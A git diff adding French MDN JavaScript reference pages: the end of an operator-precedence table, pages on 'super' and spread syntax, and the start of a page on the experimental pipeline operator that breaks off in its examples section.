+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Exponentiation_(**)">Exponentiation</a></td>
+   <td>Droite à gauche</td>
+   <td><code>… ** …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Multiplication_(*)">Multiplication</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… * …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Division_(.2F)">Division</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… / …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Reste_(.25)">Reste</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… % …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">6</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Addition_(.2B)">Addition</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… + …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Soustraction_(-)">Soustraction</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… - …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">7</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29">Décalage binaire à gauche</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &lt;&lt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29">Décalage binaire à droite</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &gt;&gt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#.3E.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_insertion_de_z.C3.A9ros.29">Décalage binaire à droite non-signé</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &gt;&gt;&gt; …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="6">8</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#Inf.C3.A9rieur_strict_(&lt;)">Inférieur strict</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &lt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#Inf.C3.A9rieur_ou_.C3.A9gal_(&lt;.3D)">Inférieur ou égal</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &lt;= …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#Sup.C3.A9rieur_strict_(>)">Supérieur strict</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &gt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#Sup.C3.A9rieur_ou_.C3.A9gal_(>.3D)">Supérieur ou égal</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in">in</a></code></td>
+   <td>Gauche à droite</td>
+   <td><code>… in …</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/instanceof">instanceof</a></code></td>
+   <td>Gauche à droite</td>
+   <td><code>… instanceof …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="4">9</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_simple_(.3D.3D)">Égalité faible</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… == …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#In.C3.A9galit.C3.A9_simple_(!.3D)">Inégalité faible</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… != …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)">Égalité stricte</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… === …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#In.C3.A9galit.C3.A9_stricte_(!.3D.3D)">Inégalité stricte</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… !== …</code></td>
+  </tr>
+  <tr>
+   <td>10</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#&amp;_.28ET_binaire.29">ET binaire</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &amp; …</code></td>
+  </tr>
+  <tr>
+   <td>11</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#.5E_.28XOR_binaire.29">OU exclusif (<em>XOR</em>) binaire</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… ^ …</code></td>
+  </tr>
+  <tr>
+   <td>12</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#(OU_binaire)" title="JavaScript/Reference/Operators/Bitwise_Operators">OU binaire</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… | …</code></td>
+  </tr>
+  <tr>
+   <td>13</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_logiques#Logical_AND_.28&amp;&amp;.29">ET logique</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… &amp;&amp; …</code></td>
+  </tr>
+  <tr>
+   <td>14</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_logiques#OU_logique_(.7C.7C)">OU logique</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… || …</code></td>
+  </tr>
+  <tr>
+   <td>15</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_conditionnel">Opérateur conditionnel ternaire</a></td>
+   <td>Droite à gauche</td>
+   <td><code>… ? … : …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="13">16</td>
+   <td rowspan="13"><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_d_affectation">Affectation</a></td>
+   <td rowspan="13">Droite à gauche</td>
+   <td><code>… = …</code></td>
+  </tr>
+  <tr>
+   <td><code>… += …</code></td>
+  </tr>
+  <tr>
+   <td><code>… -= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… *= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… /= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… **= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… %= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &lt;&lt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &gt;&gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &gt;&gt;&gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &amp;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… ^= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… |= …</code></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="2">17</td>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/yield">yield</a></code></td>
+   <td>Droite à gauche</td>
+   <td><code>yield …</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/yield*">yield*</a></code></td>
+   <td>Droite à gauche</td>
+   <td><code>yield* …</code></td>
+  </tr>
+  <tr>
+   <td>18</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateur_de_d%C3%A9composition">Décomposition</a></td>
+   <td>Non applicable</td>
+   <td><code>...</code> …</td>
+  </tr>
+  <tr>
+   <td>19</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_virgule">Virgule</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… , …</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/javascript/reference/opérateurs/super/index.html b/files/fr/web/javascript/reference/opérateurs/super/index.html
new file mode 100644
index 0000000000..05a40df1fc
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/super/index.html
@@ -0,0 +1,184 @@
+---
+title: super
+slug: Web/JavaScript/Reference/Opérateurs/super
+tags:
+  - Classes
+  - ECMAScript 2015
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/super
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Le mot-clé <code><strong>super</strong></code> est utilisé afin d'appeler ou d'accéder à des fonctions définies sur l'objet parent.</p>
+
+<p>Les expressions de la forme <code>super.propriété</code> et <code>super[expr]</code> sont valides pour n'importe quelle <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Définition_de_méthode">définition de méthode</a>, que ce soit au sein d'une <a href="/fr/docs/Web/JavaScript/Reference/Classes">classe</a> ou d'un <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">littéral objet</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">super([arguments]); // Le constructeur parent est appelé
+super.functionOnParent([arguments]);</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Lorsqu'il est utilisé dans un constructeur, le mot-clé <code>super</code> est utilisé seul et doit apparaître avant le mot-clé <code>this</code>. Ce mot-clé peut également être utilisé afin d'appeler des fonctions sur un objet parent.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_super_avec_les_classes">Utiliser <code>super</code> avec les classes</h3>
+
+<p>Ce fragment de code est tiré de <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">cet exemple</a> :</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor(hauteur, largeur) {
+    this.name = 'Rectangle';
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+  coucou(){
+    console.log('Coucou, je suis un ' + this.name + '.');
+  }
+  get aire() {
+    return this.hauteur * this.largeur;
+  }
+  set aire(valeur) {
+    this.hauteur = Math.sqrt(valeur);
+    this.largeur = Math.sqrt(valeur);
+  }
+}
+
+class Carré extends Rectangle {
+  constructor(longueur) {
+
+    // Ici, on appelle le constructeur de Rectangle
+    // qui est l'objet « parent » de Carré
+    super(longueur, longueur);
+
+    // Pour les classes dérivées, super() doit être appelé
+    // avant d'utiliser 'this' sinon cela entraînera une
+    // exception ReferenceError.
+    this.name = 'Carré';
+  }
+}</pre>
+
+<h3 id="Utiliser_super_pour_appeler_des_méthodes_statiques">Utiliser super pour appeler des méthodes statiques</h3>
+
+<p>Il est possible d'utiliser super pour invoquer des méthodes <a href="/fr/docs/Web/JavaScript/Reference/Classes/static">statiques</a> :</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor() {}
+  static logNbCotes() {
+    return "J'ai 4 côtés";
+  }
+}
+
+class Carre extends Rectangle {
+  constructor(){}
+  static logDescription() {
+    return super.logNbCotes() + ' qui sont tous égaux';
+  }
+}
+Carre.logDescription(); // "J'ai 4 côtés qui sont tous égaux"
+</pre>
+
+<h3 id="Supprimer_des_propriétés_parentes_lèvera_une_exception">Supprimer des propriétés parentes lèvera une exception</h3>
+
+<p>Il n'est pas possible d'utiliser l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_delete">delete</a></code> sur <code>super.prop</code> ou <code>super[expr]</code> pour supprimer une propriété de la classe parente, cela renverra une exception {{jsxref("ReferenceError")}} :</p>
+
+<pre class="brush: js">class Base {
+  constructor() {}
+  toto() {}
+}
+
+class Dérivée extends Base {
+  constructor() {}
+  delete() {
+    delete super.toto;
+  }
+}
+
+new Dérivée().delete();
+// ReferenceError : suppression invalide avec 'super'</pre>
+
+<h3 id="Super.prop_ne_peut_pas_surcharger_les_propriétés_non_modifiables"><code>Super.prop</code> ne peut pas surcharger les propriétés non modifiables</h3>
+
+<p>Lorsque des propriétés sont définies sans accès en écriture (<em>non-writable</em>), par exemple avec {{jsxref("Object.defineProperty")}}, <code>super</code> ne peut pas surcharger les valeurs de ces propriétés.</p>
+
+<pre class="brush: js">class X {
+  constructor() {
+    Object.defineProperty(this, "prop", {
+      configurable: true,
+      writable: false,
+      value: 1
+    });
+  }
+}
+class Y extends X {
+  constructor() {
+    super();
+  }
+  toto(){
+    super.prop = 2; // Impossible de surcharger
+  }
+}
+var y = new Y();
+y.toto(); // TypeError "prop" is read-only
+console.log(y.prop); // 1
+</pre>
+
+<h3 id="Utiliser_super.prop_sur_les_littéraux_objets">Utiliser <code>super.prop</code> sur les littéraux objets</h3>
+
+<p><code>super</code> peut également être utilisé avec la notation littérale. Dans l'exemple qui suit, deux objets définissent chacun une méthode. Le deuxième objet utilise <code>super</code> pour appeler la méthode du premier objet. Cela fonctionne grâce à {{jsxref("Object.setPrototypeOf()")}} avec lequel on définit que le prototype de <code>obj2</code> est <code>obj1</code>. De cette façon, super peut parcourir la chaîne de prototypes et trouver <code>méthode1</code> dans <code>obj1</code>.</p>
+
+<pre class="brush: js">var obj1 = {
+  méthode1() {
+    console.log("méthode 1");
+  }
+}
+
+var obj2 = {
+  méthode2() {
+    super.méthode1();
+  }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.méthode2(); // affiche "méthode 1" dans la console
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.super")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Classes">Les classes</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/syntaxe_décomposition/index.html b/files/fr/web/javascript/reference/opérateurs/syntaxe_décomposition/index.html
new file mode 100644
index 0000000000..75f97a972f
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/syntaxe_décomposition/index.html
@@ -0,0 +1,262 @@
+---
+title: Syntaxe de décomposition
+slug: Web/JavaScript/Reference/Opérateurs/Syntaxe_décomposition
+tags:
+  - ECMAScript 2015
+  - ECMAScript6
+  - JavaScript
+  - Reference
+  - Syntaxe
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La <strong>syntaxe de décomposition</strong> permet d'étendre un itérable (par exemple une expression de tableau ou une chaîne de caractères) en lieu et place de plusieurs arguments (pour les appels de fonctions) ou de plusieurs éléments (pour les littéraux de tableaux) ou de paires clés-valeurs (pour les littéraux d'objets).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Pour l'utilisation de la décomposition dans les appels de fonction :</p>
+
+<pre class="syntaxbox notranslate">f(...objetIterable);
+</pre>
+
+<p>Pour les littéraux de tableaux :</p>
+
+<pre class="syntaxbox notranslate">[...objetIterable, 4, 5, 6]</pre>
+
+<p>Pour les littéraux objets (nouvelle fonctionnalité pour ECMAScript, actuellement en proposition de niveau 4, finalisée) :</p>
+
+<pre class="syntaxbox notranslate">let objClone = { ...obj };</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_décomposition_dans_les_appels_de_fonction">Utiliser la décomposition dans les appels de fonction</h3>
+
+<h4 id="Améliorer_la_fonction_apply">Améliorer la fonction <code>apply()</code></h4>
+
+<p>Il arrive souvent qu'on veuille utiliser {{jsxref( "Function.prototype.apply")}} avec un tableau parmi les arguments de la fonction utilisée :</p>
+
+<pre class="brush: js notranslate">function f(x, y, z) { }
+var args = [0, 1, 2];
+f.apply(null, args);</pre>
+
+<p>avec la décomposition, on peut désormais écrire :</p>
+
+<pre class="brush: js notranslate">function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...args);</pre>
+
+<p>Tout argument passé à une fonction peut être décomposé grâce à cette syntaxe et cette syntaxe peut être utilisée pour plusieurs arguments.</p>
+
+<pre class="brush: js notranslate">function f(v, w, x, y, z) { }
+var args = [0, 1];
+f(-1, ...args, 2, ...[3]);</pre>
+
+<h4 id="Utiliser_apply_avec_lopérateur_new">Utiliser <code>apply()</code> avec l'opérateur <code>new</code></h4>
+
+<p>Avec ES5, il n'est pas possible d'utiliser <code>new</code> avec <code>apply</code> (selon ES5 <code>apply</code> effectue un appel <code>[[Call]]</code> et pas un appel <code>[[Construct]]</code>). Avec ES2015, la syntaxe de décomposition permet de le faire naturellement :</p>
+
+<pre class="brush: js notranslate">var champsDate = lireChampsDate(maBaseDeDonnées);
+var d = new Date(...champsDate);</pre>
+
+<p>Afin d'utiliser <code>new</code> avec un tableau de paramètres, sans utiliser la décomposition, il faudrait l'employer indirectement grâce à une application partielle :</p>
+
+<pre class="brush: js notranslate">function applyAndNew(constructor, args) {
+   function partial () {
+      return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+      partial.prototype = Object.create(constructor.prototype);
+   }
+   return partial;
+}
+
+
+function monConstructeur () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+var mesArguments = ["bi", "bop", "bup", null];
+var monConstructeurAvecArguments = applyAndNew(monConstructor, mesArguments);
+
+console.log(new monConstructeurAvecArguments);
+// (log fourni par monConstructeur):           arguments.length: 4
+// (log fourni par monConstructeur):           ["bi", "bop", "bup", null]
+// (log fourni par "new monConstructeurAvecArguments"): {prop1: "val1", prop2: "val2"}
+</pre>
+
+<h3 id="Utiliser_la_décomposition_dans_les_littéraux_de_tableau">Utiliser la décomposition dans les littéraux de tableau</h3>
+
+<h4 id="Améliorer_les_littéraux_de_tableau">Améliorer les littéraux de tableau</h4>
+
+<p>À l'heure actuelle, sans la décomposition, si on a un tableau et qu'on souhaite créer un nouveau tableau composé du premier, on ne peut pas utiliser un littéral de tableau et il faut utiliser des fonctions comme {{jsxref("Array.prototype.push", "push()")}}, {{jsxref("Array.prototype.splice", "splice()")}}, {{jsxref("Array.prototype.concat", "concat()")}}, etc. Avec la syntaxe de décomposition, cela devient plus succinct :</p>
+
+<pre class="brush: js notranslate">var articulations = ['épaules', 'genoux'];
+var corps = ['têtes', ...articulations, 'bras', 'pieds'];
+// ["têtes", "épaules", "genoux", "bras", "pieds"]
+</pre>
+
+<p>Comme pour les fonctions, la syntaxe peut être utilisé plusieurs fois.</p>
+
+<h4 id="Copier_un_tableau">Copier un tableau</h4>
+
+<pre class="brush: js notranslate">var arr = [1, 2, 3];
+var arr2 = [...arr];
+arr2.push(4);
+
+console.log(arr2); // [1, 2, 3, 4]
+console.log(arr);  // [1, 2, 3] (inchangé)
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on utilise la décomposition pour copier un tableau, celle-ci ne s'applique qu'au premier niveau de profondeur. Par conséquent, il peut ne pas convenir pour la copie des tableaux multidimensionnels (des tableaux imbriqués dans d'autres tableaux) comme le montre l’exemple suivant (il en va de même avec {{jsxref("Object.assign()")}} et la décomposition).</p>
+</div>
+
+<pre class="brush: js notranslate">var a = [[1], [2], [3]];
+var b = [...a]; // b vaut [[1], [2], [3]]
+
+b.shift().shift(); // *a* vaut désormais [[], [2], [3]];
+</pre>
+
+<h4 id="Une_meilleure_façon_de_concaténer_des_tableaux">Une meilleure façon de concaténer des tableaux</h4>
+
+<p>{{jsxref("Array.prototype.concat", "concat")}} est souvent utilisé afin de concaténer un tableau à la suite d'une autre. Avec ES5, on aurait le code suivant :</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// On ajoute les éléments de arr2 après ceux de arr1
+var nouveauTableau = arr1.concat(arr2);</pre>
+
+<p>Avec ES2015 et la décomposition, on peut écrire :</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr1, ...arr2]; // arr1 vaut [0, 1, 2, 3, 4, 5]
+</pre>
+
+<p>{{jsxref("Array.prototype.unshift", "unshift")}} est souvent utilisé afin d'insérer des valeurs d'un tableau au début d'un autre tableau. Avec ES5, on peut écrire :</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// On ajoute tous les éléments
+// de arr2 au début de arr1
+Array.prototype.unshift.apply(arr1, arr2) // arr1 vaut [3, 4, 5, 0, 1, 2]</pre>
+
+<p>Avec ES2015 et la décomposition, on peut écrire :</p>
+
+<pre class="brush: js notranslate">var arr1 = [4, 5, 6];
+var arr2 = [1, 2, 3];
+arr1 = [...arr2, ...arr1];
+// arr1 vaut désormais [1, 2, 3, 4, 5, 6]
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Il y a une différence avec <code>unshift()</code> : ici, on crée un nouveau tableau qui est affecté à <code>arr1</code>, le tableau original de <code>arr1</code> n'est pas modifié "sur place".</p>
+</div>
+
+<h3 id="Utiliser_la_décomposition_avec_les_littéraux_objet">Utiliser la décomposition avec les littéraux objet</h3>
+
+<p><a href="https://github.com/tc39/proposal-object-rest-spread">La proposition relative à la décomposition des propriétés (actuellement au stade de proposition de niveau 4)</a> vise à ajouter la décomposition des propriétés pour <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">les littéraux objets</a>. Cela permet de copier les propriétés énumérables directement rattachées à un objet source sur un nouvel objet.</p>
+
+<p>Le clonage superficiel (qui ne rattache pas le prototype) ou la fusion d'objets peut donc être obtenue avec une syntaxe plus concise que celle utilisant {{jsxref("Object.assign()")}}.</p>
+
+<pre class="brush: js notranslate">var profil = { prenom: 'Sarah', profilComplet: false };
+var profilMisAJour = { nom: 'Dupont', profilComplet: true };
+
+var clone = { ...profil };
+// Object { prenom: 'Sarah', profilComplet: false }
+
+var fusion = { ...profil, ...profilMisAJour };
+// Object { prenom: 'Sarah', nom: 'Dupont', profilComplet: true };</pre>
+
+<p>On notera que {{jsxref("Object.assign()")}} déclenche <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set">les mutateurs</a>, ce qui n'est pas le cas pour la syntaxe de décomposition.</p>
+
+<p>Il n'est pas possible de remplacer ou de recopier le comportement de la fonction {{jsxref("Object.assign()")}} :</p>
+
+<pre class="brush: js notranslate">var profil = { prenom: 'Sarah', profilComplet: false };
+var profilMisAJour = { nom: 'Dupont', profilComplet: true };
+
+const fusionner = ( ...objets) =&gt; {...objets};
+var nouveauProfil = fusionner(profil, profilMisAJour);
+// Object { 0: { prenom: 'Sarah', profilComplet: false }, 1: { nom: 'Dupont', profilComplet: true } }
+
+var autreNouveauProfil = fusion({}, obj1, obj2);
+// Object { 0: {}, 1: { prenom: 'Sarah', profilComplet: false }, 2: { nom: 'Dupont', profilComplet: true } }
+</pre>
+
+<p>Dans l'exemple précédent, la syntaxe de décomposition ne fonctionne pas comme on pourrait s'y attendre : il décompose les arguments en un tableau grâce au paramètre du reste.</p>
+
+<h3 id="La_décomposition_ne_sapplique_quaux_itérables">La décomposition ne s'applique qu'aux itérables</h3>
+
+<p>Pour rappel : la syntaxe de décomposition ne s'applique qu'<a href="/fr/docs/Web/JavaScript/Guide/iterable">aux objets itérables</a> :</p>
+
+<pre class="brush: js notranslate">var obj = {"clé1" : "valeur1"};
+function maFonction(x) {
+  console.log(x); // undefined
+}
+maFonction(...obj);
+var args = [...obj];
+console.log(args, args.length) //[] 0</pre>
+
+<h3 id="Utiliser_la_décomposition_avec_de_nombreuses_valeurs">Utiliser la décomposition avec de nombreuses valeurs</h3>
+
+<p>Lorsqu'on utilise la décomposition (comme dans les exemples précédents), il faut faire attention à ne pas dépasser le nombre maximal d'arguments du moteur JavaScript. En effet, la décomposition place toutes les valeurs sources dans la pile. Pour plus d'informations, consulter {{jsxref( "Function.prototype.apply")}}.</p>
+
+<h2 id="Les_paramètres_du_reste">Les paramètres du reste</h2>
+
+<p>La syntaxe des paramètres du reste ressemble à la syntaxe de décomposition mais est utilisée afin de destructurer des tableaux et des objets. D'une certaine façon, la syntaxe du reste est l'opposée de la décomposition : la première collecte plusieurs éléments et les condense en un seul élément tandis que la seconde explose les éléments. Pour plus d'informations, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">les paramètres du reste</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définie dans plusieurs sections de la spécification : <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">initialisateur de tableau</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">listes d'argument</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td>Définie dans la section sur les <a href="http://www.ecma-international.org/ecma-262/9.0/#sec-object-initializer">initialisateurs d'objet.</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.spread")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">Paramètres du reste</a></li>
+ <li><a href="https://tech.mozfr.org/post/2015/06/05/ES6-en-details-%3A-la-decomposition">Le billet de ES6 en détails sur la décomposition</a></li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/tube/index.html b/files/fr/web/javascript/reference/opérateurs/tube/index.html
new file mode 100644
index 0000000000..2763987971
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/tube/index.html
@@ -0,0 +1,72 @@
+---
+title: Tube
+slug: Web/JavaScript/Reference/Opérateurs/Tube
+tags:
+  - Experimental
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator
+---
+<div>{{jsSidebar("Operators")}} {{SeeCompatTable}}</div>
+
+<p>L'opérateur expérimental tube (ou <em>pipeline</em> en anglais) <strong><code>|&gt;</code></strong> (actuellement au niveau 1 des propositions) permet de créer des chaînes d'appel de fonctions de façon lisible. En fait, cet opérateur fournit un sucre syntaxique pour les appels de fonction avec un seul argument. On pourrait donc écrire :</p>
+
+<pre class="brush: js">let url = "%21%" |&gt; decodeURI;</pre>
+
+<p>qui correspond exactement à :</p>
+
+<pre class="brush: js">let url = decodeURI("%21%");</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">expression |&gt; function</pre>
+
+<p>La valeur de <code>expression</code> est passé à <code>function</code> comme unique paramètre.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Enchaîner_des_appels_de_fonction">Enchaîner des appels de fonction</h3>
+
+<p>L'opérateur tube peut améliorer la lisibilité lorsqu'on enchaîne plusieurs fonctions.</p>
+
